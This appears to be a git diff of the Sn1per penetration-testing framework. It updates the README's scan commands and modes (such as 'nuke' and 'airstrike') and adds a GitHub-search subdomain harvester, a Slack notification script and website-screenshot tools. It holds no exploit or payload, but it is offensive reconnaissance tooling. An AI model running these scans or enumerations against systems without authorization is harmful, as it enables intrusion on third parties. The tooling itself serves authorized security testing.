@ -145,36 +223,153 @@ sniper -w <WORKSPACE_ALIAS> -d
|
|||
[*] DELETE HOST FROM WORKSPACE
|
||||
sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh
|
||||
|
||||
[*] SCAN STATUS
|
||||
[*] GET SNIPER SCAN STATUS
|
||||
sniper --status
|
||||
|
||||
[*] LOOT REIMPORT FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reimport
|
||||
|
||||
[*] LOOT REIMPORTALL FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reimportall
|
||||
|
||||
[*] LOOT RELOAD FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reload
|
||||
|
||||
[*] LOOT EXPORT FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --export
|
||||
|
||||
[*] SCHEDULED SCANS
|
||||
sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly
|
||||
|
||||
[*] USE A CUSTOM CONFIG
|
||||
sniper -c /path/to/sniper.conf -t <TARGET> -w <WORKSPACE_ALIAS>
|
||||
|
||||
[*] UPDATE SNIPER
|
||||
sniper -u|--update
|
||||
|
||||
[*] VERBOSE OUTPUT (NEW IN 2026)
|
||||
sniper -t <TARGET> -m airstrike -v
|
||||
|
||||
[*] DEBUG OUTPUT (NEW IN 2026)
|
||||
sniper -t <TARGET> -m normal -db
|
||||
|
||||
[*] REMOVE RESUME FILES (NEW IN 2026)
|
||||
sniper -t <TARGET> -m airstrike -v -rr
|
||||
```
|
||||
|
||||
### MODES:
|
||||
* **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.
|
||||
* **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.
|
||||
* **FLYOVER:** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly).
|
||||
* **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.
|
||||
* **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.
|
||||
* **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.
|
||||
* **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.
|
||||
* **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.
|
||||
* **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.
|
||||
* **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.
|
||||
* **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.
|
||||
## Scan Modes
|
||||
|
||||
## SAMPLE REPORT:
|
||||
https://gist.github.com/1N3/8214ec2da2c91691bcbc
|
||||
| Mode | Description |
|
||||
|------|-------------|
|
||||
| `normal` | Active + passive scan of the target and its open ports |
|
||||
| `stealth` | Quick, mostly non-intrusive enumeration to avoid WAF / IPS |
|
||||
| `flyover` | Fast multi-threaded high-level scans of many hosts |
|
||||
| `airstrike` | Open-port enumeration + basic fingerprinting against a host file |
|
||||
| `nuke` | Full audit across all targets in a host file |
|
||||
| `discover` | Walks a CIDR and runs Sn1per on every live host |
|
||||
| `port` | Targeted scan of a specific port |
|
||||
| `fullportonly` | Full TCP port scan, results saved to XML |
|
||||
| `web` | Web app scan on `80/tcp` + `443/tcp` only |
|
||||
| `webporthttp` / `webporthttps` | Web app scan on a specific HTTP / HTTPS port |
|
||||
| `webscan` | Full HTTP + HTTPS web app scan via Burp Suite + Arachni |
|
||||
| `vulnscan` | OpenVAS vulnerability scan |
|
||||
| `mass*` | Multi-target variants of the above (`-f targets.txt`) |
|
||||
|
||||
## LICENSE:
|
||||
This software is free to distribute, modify and use with the condition that credit is provided to the creator (@xer0dayz @XeroSecurity) and is not for commercial use. Permission to distribute any part of the code for sale is strictly prohibited.
|
||||
## Integrations
|
||||
|
||||
## DONATIONS:
|
||||
Donations are welcome. This will help fascilitate improved features, frequent updates and better overall support for sniper.
|
||||
- [x] BTC 1Fav36btfmdrYpCAR65XjKHhxuJJwFyKum
|
||||
- [x] ETH 0x20bB09273702eaBDFbEE9809473Fd04b969a794d
|
||||
- [x] LTC LQ6mPewec3xeLBYMdRP4yzeta6b9urqs2f
|
||||
- [x] XMR 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbS3EN24xprAQ1Z5Sy5s
|
||||
- [x] ZCASH t1fsizsk2cqqJAjRoUmXJSyoVa9utYucXt7
|
||||
Sn1per ships with native integrations for **90+ tools and services**. Featured partners:
|
||||
|
||||
| Category | Integrations |
|
||||
|----------|--------------|
|
||||
| **Vulnerability scanners** | [Nessus](https://github.com/1N3/Sn1per/wiki/Nessus-Integration) · [OpenVAS](https://github.com/1N3/Sn1per/wiki/OpenVAS-Integration) · [GVM 21.x](https://github.com/1N3/Sn1per/wiki/GVM-21.x-Integration) · Nuclei |
|
||||
| **Web app testing** | [Burp Suite Pro](https://github.com/1N3/Sn1per/wiki/Burpsuite-Professional-2.x-Integration) · [OWASP ZAP](https://github.com/1N3/Sn1per/wiki/OWASP-ZAP-Integration) · [WPScan](https://github.com/1N3/Sn1per/wiki/WPScan-API-Integration) |
|
||||
| **Exploitation** | [Metasploit](https://github.com/1N3/Sn1per/wiki/Metasploit-Integration) |
|
||||
| **Reconnaissance** | [Shodan](https://github.com/1N3/Sn1per/wiki/Shodan-Integration) · [Censys](https://github.com/1N3/Sn1per/wiki/Censys-API-Integration) · [Hunter.io](https://github.com/1N3/Sn1per/wiki/Hunter.io-API-Integration) · VirusTotal · Nmap |
|
||||
| **AI / LLM** | OpenAI · Claude · Gemini |
|
||||
| **Notifications & DevOps** | [Slack](https://github.com/1N3/Sn1per/wiki/Slack-API-Integration) · [GitHub API](https://github.com/1N3/Sn1per/wiki/Github-API-Integration) |
|
||||
|
||||
[Browse all integrations on the wiki →](https://github.com/1N3/Sn1per/wiki)
|
||||
|
||||
## Documentation & Help
|
||||
|
||||
- [Getting Started](docs/getting-started.md)
|
||||
- [Installation](docs/installation.md)
|
||||
- [Configuration](docs/configuration.md)
|
||||
- [Usage](docs/usage.md)
|
||||
- [Architecture](docs/architecture.md)
|
||||
- [Integrations](docs/integrations.md)
|
||||
- [Troubleshooting](docs/troubleshooting.md)
|
||||
- [Wiki — full reference](https://github.com/1N3/Sn1per/wiki)
|
||||
- [Sn1per Documentation Hub](https://sn1persecurity.com/wordpress/documentation/)
|
||||
- [Passive Reconnaissance Techniques for Penetration Testers](https://sn1persecurity.com/wordpress/passive-reconnaissance-techniques-for-penetration-testing/)
|
||||
- [CVE-2024-21733 — Apache Tomcat HTTP Request Smuggling writeup](https://sn1persecurity.com/wordpress/cve-2024-21733-apache-tomcat-http-request-smuggling/)
|
||||
|
||||
### Configuration & Templates
|
||||
|
||||
- [Plugins & Tools](https://github.com/1N3/Sn1per/wiki/Plugins-&-Tools)
|
||||
- [Scheduled Scans](https://github.com/1N3/Sn1per/wiki/Scheduled-Scans)
|
||||
- [Sn1per Configuration Options](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Options)
|
||||
- [Sn1per Configuration Templates](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Templates)
|
||||
- [Sc0pe Templates](https://github.com/1N3/Sn1per/wiki/Sc0pe-Templates)
|
||||
|
||||
## News & Releases
|
||||
|
||||
- **[Sn1per Professional 2026 Released](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)** - April 26, 2026
|
||||
- [Introducing SILENTCHAIN AI Community Edition v1.1.3](https://sn1persecurity.com/wordpress/introducing-silentchain-ai-community-edition-v1-1-3/) - February 11, 2026
|
||||
- [Sn1per SE v11.0 Now Available](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) - January 8, 2026
|
||||
|
||||
### Guides & deep dives (2026)
|
||||
|
||||
**Reconnaissance**
|
||||
|
||||
- [Reconnaissance Methodology](https://sn1persecurity.com/wordpress/reconnaissance-methodology/) - Sn1per's full recon-to-report workflow, phase by phase, from OSINT to reporting
|
||||
- [Subdomain Enumeration](https://sn1persecurity.com/wordpress/subdomain-enumeration/) - passive sources, active brute force, and subdomain-takeover checks
|
||||
- [Active Reconnaissance](https://sn1persecurity.com/wordpress/active-reconnaissance/) - port scanning, service and technology fingerprinting, and endpoint discovery
|
||||
|
||||
**Penetration testing**
|
||||
|
||||
- [Automated Penetration Testing](https://sn1persecurity.com/wordpress/automated-penetration-testing/) - the method, the tooling, and the continuous-testing model
|
||||
- [Best Automated Pentest Tools](https://sn1persecurity.com/wordpress/automated-pentest-tools/) - the 2026 open-source and all-in-one pentest tooling landscape
|
||||
- [Continuous Penetration Testing (PTaaS)](https://sn1persecurity.com/wordpress/continuous-penetration-testing/) - the always-on model beyond the once-a-year pentest
|
||||
|
||||
**Attack surface management**
|
||||
|
||||
- [Red Team Attack Surface Management](https://sn1persecurity.com/wordpress/red-team-attack-surface-management/) - running Sn1per as a continuous red-team and adversarial-exposure-validation workflow
|
||||
- [Adversarial Exposure Validation](https://sn1persecurity.com/wordpress/adversarial-exposure-validation/) - proving which exposures are actually exploitable, not just present
|
||||
- [Continuous Attack Surface Testing](https://sn1persecurity.com/wordpress/continuous-attack-surface-testing/) - daily-cadence rescans that diff yesterday's surface against today's
|
||||
- [On-Prem External Attack Surface Management](https://sn1persecurity.com/wordpress/best-on-prem-external-attack-surface-management-platform/) - self-hosted, air-gapped ASM with zero data leaving your perimeter
|
||||
- [Open-Source Self-Hosted ASM Tools](https://sn1persecurity.com/wordpress/open-source-self-hosted-attack-surface-management-tools/) - the self-hosted attack surface management tooling landscape
|
||||
- [External Attack Surface Management with Sn1per](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/) - background reading on the ASM use case
|
||||
|
||||
[All releases & blog posts →](https://sn1persecurity.com/wordpress/blog/)
|
||||
|
||||
## Community & Support
|
||||
|
||||
- **Bugs:** [Open an issue](https://github.com/1N3/Sn1per/issues)
|
||||
- **Twitter:** [@xer0dayz](https://twitter.com/xer0dayz)
|
||||
- **YouTube:** [Sn1per Security](https://www.youtube.com/c/Sn1perSecurity/videos) - latest demo: [Continuous Attack Surface Testing](https://youtu.be/GBr7vjbGRBA)
|
||||
- **Email (Pro / Enterprise customers):** see your license email
|
||||
|
||||
## Contributing
|
||||
|
||||
Pull requests welcome. For substantial changes, open an issue first to discuss the design.
|
||||
|
||||
- Mode scripts live in [`modes/`](modes/) — one bash file per scan mode
|
||||
- Test changes against a controlled target before opening a PR
|
||||
- Follow [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) format in [`CHANGELOG.md`](CHANGELOG.md)
|
||||
|
||||
35 contributors and counting. Thank you.
|
||||
|
||||
## License & Legal
|
||||
|
||||
- **Code:** see [`LICENSE.md`](LICENSE.md) and [`THIRD_PARTY_LICENSES.md`](THIRD_PARTY_LICENSES.md)
|
||||
- **Notices:** see [`NOTICE`](NOTICE)
|
||||
- **Trademark:** "Sn1per" and the Sn1per logo are trademarks of Sn1perSecurity LLC. Use in derivative works requires permission. Contact: [sn1persecurity.com](https://sn1persecurity.com)
|
||||
|
||||
---
|
||||
|
||||
## About Sn1perSecurity
|
||||
|
||||
Sn1per is built and maintained by [Sn1perSecurity](https://sn1persecurity.com), the team behind the [Sn1per attack surface management and automated penetration testing platform](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/). Small team of pentesters shipping offensive-security tooling since 2015. We focus on the workflows we want to use ourselves — fast recon, ergonomic reporting, honest pricing, and a Community Edition that genuinely keeps up with the commercial editions. If that resonates, [say hi](https://twitter.com/xer0dayz).
|
||||
|
||||
**Topics:** `penetration-testing` · `offensive-security` · `attack-surface-management` · `vulnerability-scanner` · `recon` · `osint` · `red-team` · `bug-bounty` · `security-tools`
|
||||
|
|
|
|||
BIN
Sn1per.jpg
BIN
Sn1per.jpg
Binary file not shown.
|
Before Width: | Height: | Size: 155 KiB |
6
TODO.md
6
TODO.md
|
|
@ -1,6 +0,0 @@
|
|||
###TODO:
|
||||
* Add selectable plugin configuration to enable/disable each command
|
||||
* Add checks to make sure all commands exist at startup. If not, refer to installer.
|
||||
* Create a sniper-kali release to only use base Kali image toolsets
|
||||
* Check if there's an active internet connection, if not, run offline mode
|
||||
* Add proxy support for all scans
|
||||
|
|
@ -0,0 +1,137 @@
|
|||
#!/usr/bin/python3.5
|
||||
|
||||
# I don't believe in license.
|
||||
# You can do whatever you want with this program.
|
||||
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import time
|
||||
import requests
|
||||
import random
|
||||
import argparse
|
||||
from functools import partial
|
||||
from colored import fg, bg, attr
|
||||
from multiprocessing.dummy import Pool
|
||||
|
||||
|
||||
TOKENS_FILE = os.path.dirname(os.path.realpath(__file__))+'/.tokens'
|
||||
|
||||
|
||||
def githubApiSearchCode( search, page ):
|
||||
headers = {"Authorization":"token "+random.choice(t_tokens)}
|
||||
url = 'https://api.github.com/search/code?s=indexed&type=Code&o=desc&q=' + search + '&page=' + str(page)
|
||||
# print(url)
|
||||
|
||||
try:
|
||||
r = requests.get( url, headers=headers, timeout=5 )
|
||||
json = r.json()
|
||||
return json
|
||||
except Exception as e:
|
||||
print( "%s[-] error occurred: %s%s" % (fg('red'),e,attr(0)) )
|
||||
return False
|
||||
|
||||
|
||||
def getRawUrl( result ):
|
||||
raw_url = result['html_url'];
|
||||
raw_url = raw_url.replace( 'https://github.com/', 'https://raw.githubusercontent.com/' )
|
||||
raw_url = raw_url.replace( '/blob/', '/' )
|
||||
return raw_url;
|
||||
|
||||
|
||||
def readCode( regexp, source, result ):
|
||||
url = getRawUrl( result )
|
||||
code = doGetCode( url )
|
||||
# print(code)
|
||||
|
||||
if code:
|
||||
matches = re.findall( regexp, code )
|
||||
if matches:
|
||||
for sub in matches:
|
||||
# print(sub)
|
||||
sub = sub[0].replace('2F','').lower().strip()
|
||||
if len(sub) and not sub in t_history:
|
||||
t_history.append( sub )
|
||||
sys.stdout.write( "%s" % sub )
|
||||
if source:
|
||||
sys.stdout.write( "\t-> %s" % result['html_url'] )
|
||||
sys.stdout.write( "\n" )
|
||||
|
||||
|
||||
def doGetCode( url ):
|
||||
# print( url )
|
||||
try:
|
||||
r = requests.get( url, timeout=5 )
|
||||
except Exception as e:
|
||||
sys.stdout.write( "%s[-] error occurred: %s%s\n" % (fg('red'),e,attr(0)) )
|
||||
return False
|
||||
|
||||
return r.text
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument( "-t","--token",help="auth token (required)" )
|
||||
parser.add_argument( "-d","--domain",help="domain you are looking for (required)" )
|
||||
parser.add_argument( "-e","--extend",help="also look for <dummy>example.com", action="store_true" )
|
||||
parser.add_argument( "-s","--source",help="display first url where subdomains are found", action="store_true" )
|
||||
parser.parse_args()
|
||||
args = parser.parse_args()
|
||||
|
||||
t_tokens = []
|
||||
if args.token:
|
||||
t_tokens = args.token.split(',')
|
||||
else:
|
||||
if os.path.isfile(TOKENS_FILE):
|
||||
fp = open(TOKENS_FILE,'r')
|
||||
t_tokens = fp.read().split("\n")
|
||||
fp.close()
|
||||
|
||||
if not len(t_tokens):
|
||||
parser.error( 'auth token is missing' )
|
||||
|
||||
if args.source:
|
||||
_source = True
|
||||
else:
|
||||
_source = False
|
||||
|
||||
if args.domain:
|
||||
_domain = args.domain
|
||||
else:
|
||||
parser.error( 'domain is missing' )
|
||||
|
||||
t_history = []
|
||||
page = 1
|
||||
_search = '"' + _domain + '"'
|
||||
|
||||
### this is a test, looks like we got more result that way
|
||||
import tldextract
|
||||
t_host_parse = tldextract.extract( _domain )
|
||||
_search = '"' + t_host_parse.domain + '"'
|
||||
# print( t_host_parse )
|
||||
# exit()
|
||||
###
|
||||
|
||||
# egrep -io "[0-9a-z_\-\.]+\.([0-9a-z_\-]+)?`echo $h|awk -F '.' '{print $(NF-1)}'`([0-9a-z_\-\.]+)?\.[a-z]{1,5}"
|
||||
|
||||
|
||||
if args.extend:
|
||||
# _regexp = r'[0-9a-zA-Z_\-\.]+' + _domain.replace('.','\.')
|
||||
_regexp = r'([0-9a-z_\-\.]+\.([0-9a-z_\-]+)?'+t_host_parse.domain+'([0-9a-z_\-\.]+)?\.[a-z]{1,5})'
|
||||
else:
|
||||
_regexp = r'(([0-9a-zA-Z_\-\.]+)\.' + _domain.replace('.','\.')+')'
|
||||
# print(_regexp)
|
||||
|
||||
# for page in range(1,10):
|
||||
while True:
|
||||
time.sleep( 1 )
|
||||
t_json = githubApiSearchCode( _search, page )
|
||||
# print(t_json)
|
||||
page = page + 1
|
||||
|
||||
if not t_json or 'documentation_url' in t_json or not 'items' in t_json or not len(t_json['items']):
|
||||
break
|
||||
|
||||
pool = Pool( 30 )
|
||||
pool.map( partial(readCode,_regexp,_source), t_json['items'] )
|
||||
pool.close()
|
||||
pool.join()
|
||||
File diff suppressed because it is too large
Load Diff
3857
bin/inurlbr.php
3857
bin/inurlbr.php
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,17 @@
|
|||
#!/bin/bash
|
||||
# Slack API Integration script for Sn1per
|
||||
# By @xer0dayz - https://sn1persecurity.com
|
||||
#
|
||||
|
||||
source /usr/share/sniper/sniper.conf 2> /dev/null
|
||||
source /root/.sniper.conf 2> /dev/null
|
||||
source /root/.sniper_api_keys.conf 2> /dev/null
|
||||
|
||||
MESSAGE="$1"
|
||||
|
||||
if [ "$MESSAGE" == "postfile" ]; then
|
||||
FILENAME="$2"
|
||||
curl -F "file=@$FILENAME" -F "initial_comment=$FILENAME" -F "channels=$SLACK_CHANNEL" -H "Authorization: Bearer $SLACK_API_TOKEN" https://slack.com/api/files.upload 2> /dev/null > /dev/null
|
||||
else
|
||||
curl -X POST -H 'Content-type: application/json' --data "{\"text\":\"$MESSAGE\"}" $SLACK_WEBHOOK_URL 2> /dev/null > /dev/null
|
||||
fi
|
||||
BIN
bin/slurp.zip
BIN
bin/slurp.zip
Binary file not shown.
|
|
@ -0,0 +1,168 @@
|
|||
/***
|
||||
# This file is part of webscreenshot.
|
||||
#
|
||||
# Copyright (C) 2014, Thomas Debize <tdebize at mail.com>
|
||||
# All rights reserved.
|
||||
#
|
||||
# webscreenshot is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU Lesser General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# webscreenshot is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with webscreenshot. If not, see <http://www.gnu.org/licenses/>.
|
||||
***/
|
||||
|
||||
var Page = (function(custom_headers, http_username, http_password) {
|
||||
var opts = {
|
||||
width: 1200,
|
||||
height: 800,
|
||||
ajaxTimeout: 400,
|
||||
maxTimeout: 800,
|
||||
httpAuthErrorCode: 2
|
||||
};
|
||||
|
||||
var requestCount = 0;
|
||||
var forceRenderTimeout;
|
||||
var ajaxRenderTimeout;
|
||||
|
||||
var page = require('webpage').create();
|
||||
page.viewportSize = {
|
||||
width: opts.width,
|
||||
height: opts.height
|
||||
};
|
||||
|
||||
page.settings.userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36';
|
||||
page.settings.userName = http_username;
|
||||
page.settings.password = http_password;
|
||||
|
||||
page.customHeaders = custom_headers;
|
||||
|
||||
page.onInitialized = function() {
|
||||
page.customHeaders = {};
|
||||
};
|
||||
// Silence confirmation messages and errors
|
||||
page.onConfirm = page.onPrompt = page.onError = noop;
|
||||
|
||||
page.onResourceRequested = function(request) {
|
||||
requestCount += 1;
|
||||
clearTimeout(ajaxRenderTimeout);
|
||||
};
|
||||
|
||||
page.onResourceReceived = function(response) {
|
||||
if (response.stage && response.stage == 'end' && response.status == '401') {
|
||||
page.failReason = '401';
|
||||
}
|
||||
|
||||
if (!response.stage || response.stage === 'end') {
|
||||
requestCount -= 1;
|
||||
if (requestCount === 0) {
|
||||
ajaxRenderTimeout = setTimeout(renderAndExit, opts.ajaxTimeout);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
var api = {};
|
||||
|
||||
api.render = function(url, file) {
|
||||
opts.file = file;
|
||||
|
||||
page.open(url, function(status) {
|
||||
if (status !== "success") {
|
||||
if (page.failReason && page.failReason == '401') {
|
||||
// Specific 401 HTTP code hint
|
||||
phantom.exit(opts.httpAuthErrorCode);
|
||||
} else {
|
||||
// All other failures
|
||||
phantom.exit(1);
|
||||
}
|
||||
} else {
|
||||
forceRenderTimeout = setTimeout(renderAndExit, opts.maxTimeout);
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
function renderAndExit() {
|
||||
// Trick to avoid transparent background
|
||||
page.evaluate(function() {
|
||||
document.body.bgColor = 'white';
|
||||
});
|
||||
|
||||
page.render(opts.file);
|
||||
phantom.exit(0);
|
||||
}
|
||||
|
||||
function noop() {}
|
||||
|
||||
return api;
|
||||
});
|
||||
|
||||
function main() {
|
||||
|
||||
var system = require('system');
|
||||
var p_url = new RegExp('url_capture=(.*)');
|
||||
var p_outfile = new RegExp('output_file=(.*)');
|
||||
var p_header = new RegExp('header=(.*)');
|
||||
|
||||
var p_http_username = new RegExp('http_username=(.*)');
|
||||
var http_username = '';
|
||||
|
||||
var p_http_password = new RegExp('http_password=(.*)');
|
||||
var http_password = '';
|
||||
|
||||
var temp_custom_headers = {
|
||||
// Nullify Accept-Encoding header to disable compression (https://github.com/ariya/phantomjs/issues/10930)
|
||||
'Accept-Encoding': ' '
|
||||
};
|
||||
|
||||
for(var i = 0; i < system.args.length; i++) {
|
||||
if (p_url.test(system.args[i]) === true)
|
||||
{
|
||||
var URL = p_url.exec(system.args[i])[1];
|
||||
}
|
||||
|
||||
if (p_outfile.test(system.args[i]) === true)
|
||||
{
|
||||
var output_file = p_outfile.exec(system.args[i])[1];
|
||||
}
|
||||
|
||||
if (p_http_username.test(system.args[i]) === true)
|
||||
{
|
||||
http_username = p_http_username.exec(system.args[i])[1];
|
||||
}
|
||||
|
||||
if (p_http_password.test(system.args[i]) === true)
|
||||
{
|
||||
http_password = p_http_password.exec(system.args[i])[1];
|
||||
}
|
||||
|
||||
if (p_header.test(system.args[i]) === true)
|
||||
{
|
||||
var header = p_header.exec(system.args[i]);
|
||||
var p_header_split = header[1].split(': ', 2);
|
||||
var header_name = p_header_split[0];
|
||||
var header_value = p_header_split[1];
|
||||
|
||||
temp_custom_headers[header_name] = header_value;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if (typeof(URL) === 'undefined' || URL.length == 0 || typeof(output_file) === 'undefined' || output_file.length == 0) {
|
||||
console.log("Usage: phantomjs [options] webscreenshot.js url_capture=<URL> output_file=<output_file.png> [header=<custom header> http_username=<HTTP basic auth username> http_password=<HTTP basic auth password>]");
|
||||
console.log('Please specify an URL to capture and an output png filename !');
|
||||
|
||||
phantom.exit(1);
|
||||
}
|
||||
else {
|
||||
var page = Page(temp_custom_headers, http_username, http_password);
|
||||
page.render(URL, output_file);
|
||||
}
|
||||
}
|
||||
|
||||
main();
|
||||
|
|
@ -0,0 +1,432 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# This file is part of webscreenshot.
|
||||
#
|
||||
# Copyright (C) 2018, Thomas Debize <tdebize at mail.com>
|
||||
# All rights reserved.
|
||||
#
|
||||
# webscreenshot is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU Lesser General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# webscreenshot is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with webscreenshot. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import datetime
|
||||
import time
|
||||
import signal
|
||||
import multiprocessing
|
||||
import itertools
|
||||
import shlex
|
||||
import logging
|
||||
import errno
|
||||
|
||||
# Script version
|
||||
VERSION = '2.2.1'
|
||||
|
||||
# OptionParser imports
|
||||
from optparse import OptionParser
|
||||
from optparse import OptionGroup
|
||||
|
||||
# Options definition
|
||||
parser = OptionParser(usage="usage: %prog [options] URL")
|
||||
|
||||
main_grp = OptionGroup(parser, 'Main parameters')
|
||||
main_grp.add_option('-i', '--input-file', help = '<INPUT_FILE>: text file containing the target list. Ex: list.txt', nargs = 1)
|
||||
main_grp.add_option('-o', '--output-directory', help = '<OUTPUT_DIRECTORY> (optional): screenshots output directory (default \'./screenshots/\')', nargs = 1)
|
||||
main_grp.add_option('-r', '--renderer', help = '<RENDERER> (optional): renderer to use among \'phantomjs\' (legacy but best results), \'chrome\', \'chromium\' (version > 57) (default \'phantomjs\')', choices = ['phantomjs', 'chrome', 'chromium'], default = 'phantomjs', nargs = 1)
|
||||
main_grp.add_option('-w', '--workers', help = '<WORKERS> (optional): number of parallel execution workers (default 2)', default = 2, nargs = 1)
|
||||
main_grp.add_option('-v', '--verbosity', help = '<VERBOSITY> (optional): verbosity level, repeat it to increase the level { -v INFO, -vv DEBUG } (default verbosity ERROR)', action = 'count', default = 0)
|
||||
|
||||
proc_grp = OptionGroup(parser, 'Input processing parameters')
|
||||
proc_grp.add_option('-p', '--port', help = '<PORT> (optional): use the specified port for each target in the input list. Ex: -p 80', nargs = 1)
|
||||
proc_grp.add_option('-s', '--ssl', help = '<SSL> (optional): enforce ssl for every connection', action = 'store_true', default = False)
|
||||
proc_grp.add_option('-m', '--multiprotocol', help = '<MULTIPROTOCOL> (optional): perform screenshots over HTTP and HTTPS for each target', action = 'store_true', default = False)
|
||||
|
||||
http_grp = OptionGroup(parser, 'HTTP parameters')
|
||||
http_grp.add_option('-c', '--cookie', help = '<COOKIE_STRING> (optional): cookie string to add. Ex: -c "JSESSIONID=1234; YOLO=SWAG"', nargs = 1)
|
||||
http_grp.add_option('-a', '--header', help = '<HEADER> (optional): custom or additional header. Repeat this option for every header. Ex: -a "Host: localhost" -a "Foo: bar"', action = 'append')
|
||||
|
||||
http_grp.add_option('-u', '--http-username', help = '<HTTP_USERNAME> (optional): specify a username for HTTP Basic Authentication.')
|
||||
http_grp.add_option('-b', '--http-password', help = '<HTTP_PASSWORD> (optional): specify a password for HTTP Basic Authentication.')
|
||||
|
||||
conn_grp = OptionGroup(parser, 'Connection parameters')
|
||||
conn_grp.add_option('-P', '--proxy', help = '<PROXY> (optional): specify a proxy. Ex: -P http://proxy.company.com:8080')
|
||||
conn_grp.add_option('-A', '--proxy-auth', help = '<PROXY_AUTH> (optional): provides authentication information for the proxy. Ex: -A user:password')
|
||||
conn_grp.add_option('-T', '--proxy-type', help = '<PROXY_TYPE> (optional): specifies the proxy type, "http" (default), "none" (disable completely), or "socks5". Ex: -T socks')
|
||||
conn_grp.add_option('-t', '--timeout', help = '<TIMEOUT> (optional): renderer execution timeout in seconds (default 30 sec)', default = 30, nargs = 1)
|
||||
|
||||
parser.option_groups.extend([main_grp, proc_grp, http_grp, conn_grp])
|
||||
|
||||
# renderer binaries, hoping to find it in a $PATH directory
|
||||
## Be free to change them to your own full-path location
|
||||
PHANTOMJS_BIN = 'phantomjs'
|
||||
CHROME_BIN = 'google-chrome'
|
||||
CHROMIUM_BIN = 'chromium'
|
||||
|
||||
WEBSCREENSHOT_JS = os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), './webscreenshot.js'))
|
||||
SCREENSHOTS_DIRECTORY = os.path.abspath(os.path.join(os.getcwdu(), './screenshots/'))
|
||||
|
||||
# Logger definition
|
||||
LOGLEVELS = {0 : 'ERROR', 1 : 'INFO', 2 : 'DEBUG'}
|
||||
logger_output = logging.StreamHandler(sys.stdout)
|
||||
logger_output.setFormatter(logging.Formatter('[%(levelname)s][%(name)s] %(message)s'))
|
||||
|
||||
logger_gen = logging.getLogger("General")
|
||||
logger_gen.addHandler(logger_output)
|
||||
|
||||
# Macros
|
||||
SHELL_EXECUTION_OK = 0
|
||||
SHELL_EXECUTION_ERROR = -1
|
||||
PHANTOMJS_HTTP_AUTH_ERROR_CODE = 2
|
||||
|
||||
# Handful patterns
|
||||
p_ipv4_elementary = '(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})'
|
||||
p_domain = '[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,6}'
|
||||
p_port = '\d{0,5}'
|
||||
p_resource = '(?:/(?P<res>.*))?'
|
||||
|
||||
full_uri_domain = re.compile('^(?P<protocol>http(?:|s))://(?P<host>%s|%s)(?::(?P<port>%s))?%s$' % (p_domain, p_ipv4_elementary, p_port, p_resource))
|
||||
|
||||
fqdn_and_port = re.compile('^(?P<host>%s):(?P<port>%s)%s$' % (p_domain, p_port, p_resource))
|
||||
fqdn_only = re.compile('^(?P<host>%s)%s$' % (p_domain, p_resource))
|
||||
|
||||
